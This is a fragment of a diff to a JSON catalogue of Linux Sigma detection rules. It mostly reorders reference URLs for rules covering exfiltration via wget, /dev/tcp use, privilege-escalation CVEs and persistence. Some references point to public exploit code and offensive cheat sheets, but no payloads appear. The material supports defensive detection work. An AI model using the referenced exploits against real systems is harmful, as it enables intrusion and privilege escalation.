"https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_capabilities_discovery.yml" + "https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099" ], "tags": [ "attack.collection", @@ -5560,8 +5558,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_chattr_immutable_removal.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_chattr_immutable_removal.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md" ], "tags": [ "attack.defense_evasion", @@ -5584,10 +5582,10 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://attack.mitre.org/techniques/T1115/", "https://linux.die.net/man/1/xclip", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_clipboard_collection.yml", "https://www.cyberciti.biz/faq/xclip-linux-insert-files-command-output-intoclipboard/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_clipboard_collection.yml" + "https://attack.mitre.org/techniques/T1115/" ], "tags": [ "attack.collection", @@ -5610,9 +5608,9 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://attack.mitre.org/techniques/T1115/", "https://linux.die.net/man/1/xclip", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_clipboard_image_collection.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_clipboard_image_collection.yml", + "https://attack.mitre.org/techniques/T1115/" ], "tags": [ "attack.collection", @@ -5708,8 +5706,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_cve_2021_3156_sudo_buffer_overflow_brutforce.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_cve_2021_3156_sudo_buffer_overflow_brutforce.yml", + "https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit" ], "tags": [ "attack.privilege_escalation", @@ -5733,10 +5731,10 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/berdav/CVE-2021-4034", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034", - "https://access.redhat.com/security/cve/CVE-2021-4034", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_cve_2021_4034.yml" + "https://github.com/berdav/CVE-2021-4034", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_cve_2021_4034.yml", + "https://access.redhat.com/security/cve/CVE-2021-4034" ], "tags": [ "attack.privilege_escalation", @@ -5759,8 +5757,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_data_compressed.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_data_compressed.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md" ], "tags": [ "attack.exfiltration", @@ -5783,9 +5781,9 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://attack.mitre.org/tactics/TA0010/", - "https://linux.die.net/man/1/wget", "https://gtfobins.github.io/gtfobins/wget/", + "https://linux.die.net/man/1/wget", + "https://attack.mitre.org/tactics/TA0010/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_data_exfil_wget.yml" ], "tags": [ @@ -5835,9 +5833,9 @@ "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md", - "https://attack.mitre.org/techniques/T1562/004/", "https://firewalld.org/documentation/man-pages/firewall-cmd.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_disable_system_firewall.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_disable_system_firewall.yml", + "https://attack.mitre.org/techniques/T1562/004/" ], "tags": [ "attack.t1562.004", @@ -5860,8 +5858,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_file_or_folder_permissions.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_file_or_folder_permissions.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md" ], "tags": [ "attack.defense_evasion", @@ -5908,9 +5906,9 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_files_directories.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md", - "https://attack.mitre.org/techniques/T1564/001/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_files_directories.yml" + "https://attack.mitre.org/techniques/T1564/001/" ], "tags": [ "attack.defense_evasion", @@ -5933,9 +5931,9 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://attack.mitre.org/techniques/T1027/003/", "https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_zip_files_steganography.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_zip_files_steganography.yml", + "https://attack.mitre.org/techniques/T1027/003/" ], "tags": [ "attack.defense_evasion", @@ -5958,10 +5956,10 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/T1056.001.md", - "https://attack.mitre.org/techniques/T1003/", - "https://linux.die.net/man/8/pam_tty_audit", "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/sec-configuring_pam_for_auditing", + "https://linux.die.net/man/8/pam_tty_audit", + "https://attack.mitre.org/techniques/T1003/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/T1056.001.md", "https://access.redhat.com/articles/4409591#audit-record-types-2", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_keylogging_with_pam_d.yml" ], @@ -5987,8 +5985,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.006/T1574.006.md", "https://eqllib.readthedocs.io/en/latest/analytics/fd9b987a-1101-4ed3-bda6-a70300eaf57e.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.006/T1574.006.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_ld_so_preload_mod.yml" ], "tags": [ @@ -6013,10 +6011,10 @@ "logsource.product": "linux", "refs": [ "https://attack.mitre.org/techniques/T1547/006/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_load_module_insmod.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.006/T1547.006.md", - "https://linux.die.net/man/8/insmod", "https://man7.org/linux/man-pages/man8/kmod.8.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_load_module_insmod.yml" + "https://linux.die.net/man/8/insmod" ], "tags": [ "attack.persistence", @@ -6040,8 +6038,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "self experience", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_logging_config_change.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_logging_config_change.yml", + "self experience" ], "tags": [ "attack.defense_evasion", @@ -6110,8 +6108,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_network_sniffing.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_network_sniffing.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md" ], "tags": [ "attack.credential_access", @@ -6135,9 +6133,9 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", "https://github.com/Azure/Azure-Sentinel/pull/3059", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_omigod_scx_runasprovider_executeshellcommand.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_omigod_scx_runasprovider_executeshellcommand.yml", + "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure" ], "tags": [ "attack.privilege_escalation", @@ -6164,12 +6162,12 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md", - "https://attack.mitre.org/techniques/T1201/", "https://linux.die.net/man/1/chage", "https://man7.org/linux/man-pages/man1/passwd.1.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md", "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_password_policy_discovery.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_password_policy_discovery.yml", + "https://attack.mitre.org/techniques/T1201/" ], "tags": [ "attack.discovery", @@ -6218,11 +6216,11 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md", "https://attack.mitre.org/techniques/T1113/", - "https://linux.die.net/man/1/import", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_screencapture_import.yml", "https://imagemagick.org/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_screencapture_import.yml" + "https://linux.die.net/man/1/import" ], "tags": [ "attack.collection", @@ -6245,9 +6243,9 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-3---x-windows-capture", "https://attack.mitre.org/techniques/T1113/", "https://linux.die.net/man/1/xwd", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-3---x-windows-capture", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_screencaputre_xwd.yml" ], "tags": [ @@ -6271,8 +6269,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1030/T1030.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_split_file_into_pieces.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_split_file_into_pieces.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1030/T1030.md" ], "tags": [ "attack.exfiltration", @@ -6295,8 +6293,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://attack.mitre.org/techniques/T1027/003/", "https://vitux.com/how-to-hide-confidential-files-in-images-on-debian-using-steganography/", + "https://attack.mitre.org/techniques/T1027/003/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_steghide_embed_steganography.yml" ], "tags": [ @@ -6320,9 +6318,9 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://attack.mitre.org/techniques/T1027/003/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_steghide_extract_steganography.yml", "https://vitux.com/how-to-hide-confidential-files-in-images-on-debian-using-steganography/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_steghide_extract_steganography.yml" + "https://attack.mitre.org/techniques/T1027/003/" ], "tags": [ "attack.defense_evasion", @@ -6345,8 +6343,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/Neo23x0/auditd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_c2_commands.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_c2_commands.yml", + "https://github.com/Neo23x0/auditd" ], "tags": [ "attack.command_and_control" @@ -6368,8 +6366,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "Internal Research - mostly derived from exploit code including code in MSF", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_cmds.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_cmds.yml", + "Internal Research - mostly derived from exploit code including code in MSF" ], "tags": [ "attack.execution", @@ -6393,8 +6391,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_exe_folders.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_exe_folders.yml", + "Internal Research" ], "tags": [ "attack.t1587", @@ -6419,8 +6417,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_histfile_operations.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_histfile_operations.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md" ], "tags": [ "attack.credential_access", @@ -6444,8 +6442,8 @@ "logsource.product": "linux", "refs": [ "https://attack.mitre.org/techniques/T1543/002/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_systemd_service_creation.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_systemd_service_creation.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md" ], "tags": [ "attack.persistence", @@ -6469,8 +6467,8 @@ "logsource.product": "linux", "refs": [ "https://attack.mitre.org/techniques/T1082/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discovery.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discovery.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md" ], "tags": [ "attack.discovery", @@ -6493,8 +6491,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-4---linux-vm-check-via-hardware", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discovery2.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discovery2.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-4---linux-vm-check-via-hardware" ], "tags": [ "attack.discovery", @@ -6517,8 +6515,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_shutdown_reboot.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_shutdown_reboot.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md" ], "tags": [ "attack.impact", @@ -6541,9 +6539,9 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://attack.mitre.org/techniques/T1027/003/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_unzip_hidden_zip_files_steganography.yml", "https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_unzip_hidden_zip_files_steganography.yml" + "https://attack.mitre.org/techniques/T1027/003/" ], "tags": [ "attack.defense_evasion", @@ -6591,8 +6589,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "personal experience", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_web_rce.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_web_rce.yml", + "personal experience" ], "tags": [ "attack.persistence", @@ -6712,8 +6710,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://attack.mitre.org/techniques/T1105/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_file_copy.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_file_copy.yml", + "https://attack.mitre.org/techniques/T1105/" ], "tags": [ "attack.command_and_control", @@ -6762,9 +6760,9 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_nimbuspwn_privilege_escalation_exploit.yml", "https://www.microsoft.com/security/blog/2022/04/26/microsoft-finds-new-elevation-of-privilege-linux-vulnerability-nimbuspwn/", - "https://github.com/Immersive-Labs-Sec/nimbuspwn", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_nimbuspwn_privilege_escalation_exploit.yml" + "https://github.com/Immersive-Labs-Sec/nimbuspwn" ], "tags": [ "attack.privilege_escalation", @@ -6787,8 +6785,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://twitter.com/wdormann/status/1486161836961579020", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_pwnkit_local_privilege_escalation.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_pwnkit_local_privilege_escalation.yml", + "https://twitter.com/wdormann/status/1486161836961579020" ], "tags": [ "attack.privilege_escalation", @@ -6811,8 +6809,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://owasp.org/www-pdf-archive/Shellshock_-_Tudor_Enache.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shellshock.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shellshock.yml", + "https://owasp.org/www-pdf-archive/Shellshock_-_Tudor_Enache.pdf" ], "tags": [ "attack.persistence", @@ -6836,9 +6834,9 @@ "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.003/T1070.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_clear_cmd_history.yml", "https://attack.mitre.org/techniques/T1070/003/", - "https://www.hackers-arise.com/single-post/2016/06/20/Covering-your-BASH-Shell-Tracks-AntiForensics", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_clear_cmd_history.yml" + "https://www.hackers-arise.com/single-post/2016/06/20/Covering-your-BASH-Shell-Tracks-AntiForensics" ], "tags": [ "attack.defense_evasion", @@ -6861,9 +6859,9 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/", - "https://patrick-bareiss.com/detect-privilege-escalation-preparation-in-linux-with-sigma/", "https://github.com/uber-common/metta/blob/master/MITRE/Privilege_Escalation/privesc_linux_filesystemweakness.yml", + "https://patrick-bareiss.com/detect-privilege-escalation-preparation-in-linux-with-sigma/", + "https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_priv_esc_prep.yml" ], "tags": [ @@ -6887,11 +6885,11 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "http://www.threatgeek.com/2017/03/widespread-exploitation-attempts-using-cve-2017-5638.html", "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb", - "http://pastebin.com/FtygZ1cg", "https://artkond.com/2017/03/23/pivoting-guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_commands.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_commands.yml", + "http://pastebin.com/FtygZ1cg", + "http://www.threatgeek.com/2017/03/widespread-exploitation-attempts-using-cve-2017-5638.html" ], "tags": [ "attack.execution", @@ -6983,10 +6981,10 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://www.openwall.com/lists/oss-security/2019/10/14/1", "https://access.redhat.com/security/cve/cve-2019-14287", - "https://twitter.com/matthieugarin/status/1183970598210412546", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_sudo_cve_2019_14287_user.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_sudo_cve_2019_14287_user.yml", + "https://www.openwall.com/lists/oss-security/2019/10/14/1", + "https://twitter.com/matthieugarin/status/1183970598210412546" ], "tags": [ "attack.privilege_escalation", @@ -7011,8 +7009,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://www.andreafortuna.org/2021/03/06/some-useful-tips-about-dev-tcp/", "https://book.hacktricks.xyz/shells/shells/linux", + "https://www.andreafortuna.org/2021/03/06/some-useful-tips-about-dev-tcp/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-1---port-scan", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_susp_dev_tcp.yml" ], @@ -7084,9 +7082,9 @@ "logsource.category": "file_create", "logsource.product": "linux", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_doas_conf_creation.yml", "https://research.splunk.com/endpoint/linux_doas_conf_file_creation/", - "https://www.makeuseof.com/how-to-install-and-use-doas/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_doas_conf_creation.yml" + "https://www.makeuseof.com/how-to-install-and-use-doas/" ], "tags": [ "attack.privilege_escalation", @@ -7109,8 +7107,8 @@ "logsource.category": "file_create", "logsource.product": "linux", "refs": [ - "https://github.com/microsoft/MSTIC-Sysmon/blob/f1477c0512b0747c1455283069c21faec758e29d/linux/configs/attack-based/persistence/T1053.003_Cron_Activity.xml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_persistence_cron_files.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_persistence_cron_files.yml", + "https://github.com/microsoft/MSTIC-Sysmon/blob/f1477c0512b0747c1455283069c21faec758e29d/linux/configs/attack-based/persistence/T1053.003_Cron_Activity.xml" ], "tags": [ "attack.persistence", @@ -7133,8 +7131,8 @@ "logsource.category": "file_create", "logsource.product": "linux", "refs": [ - "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_persistence_sudoers_files.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_persistence_sudoers_files.yml", + "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh" ], "tags": [ "attack.persistence", @@ -7250,8 +7248,8 @@ "logsource.category": "network_connection", "logsource.product": "linux", "refs": [ - "https://www.poolwatch.io/coin/monero", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_crypto_mining_indicators.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_crypto_mining_indicators.yml", + "https://www.poolwatch.io/coin/monero" ], "tags": "No established tags" }, @@ -7271,8 +7269,8 @@ "logsource.category": "network_connection", "logsource.product": "linux", "refs": [ - "https://twitter.com/hakluke/status/1587733971814977537/photo/1", "https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent", + "https://twitter.com/hakluke/status/1587733971814977537/photo/1", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_ngrok_tunnel.yml" ], "tags": [ @@ -7520,8 +7518,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_decode.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_decode.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md" ], "tags": [ "attack.defense_evasion", @@ -7568,9 +7566,9 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html", "https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml", + "https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html" ], "tags": [ "attack.defense_evasion", @@ -7593,9 +7591,9 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/", "https://bpftrace.org/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_bpftrace_unsafe_option_usage.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_bpftrace_unsafe_option_usage.yml", + "https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/" ], "tags": [ "attack.execution", @@ -7618,8 +7616,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://github.com/sleventyeleven/linuxprivchecker/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cat_sudoers.yml" + 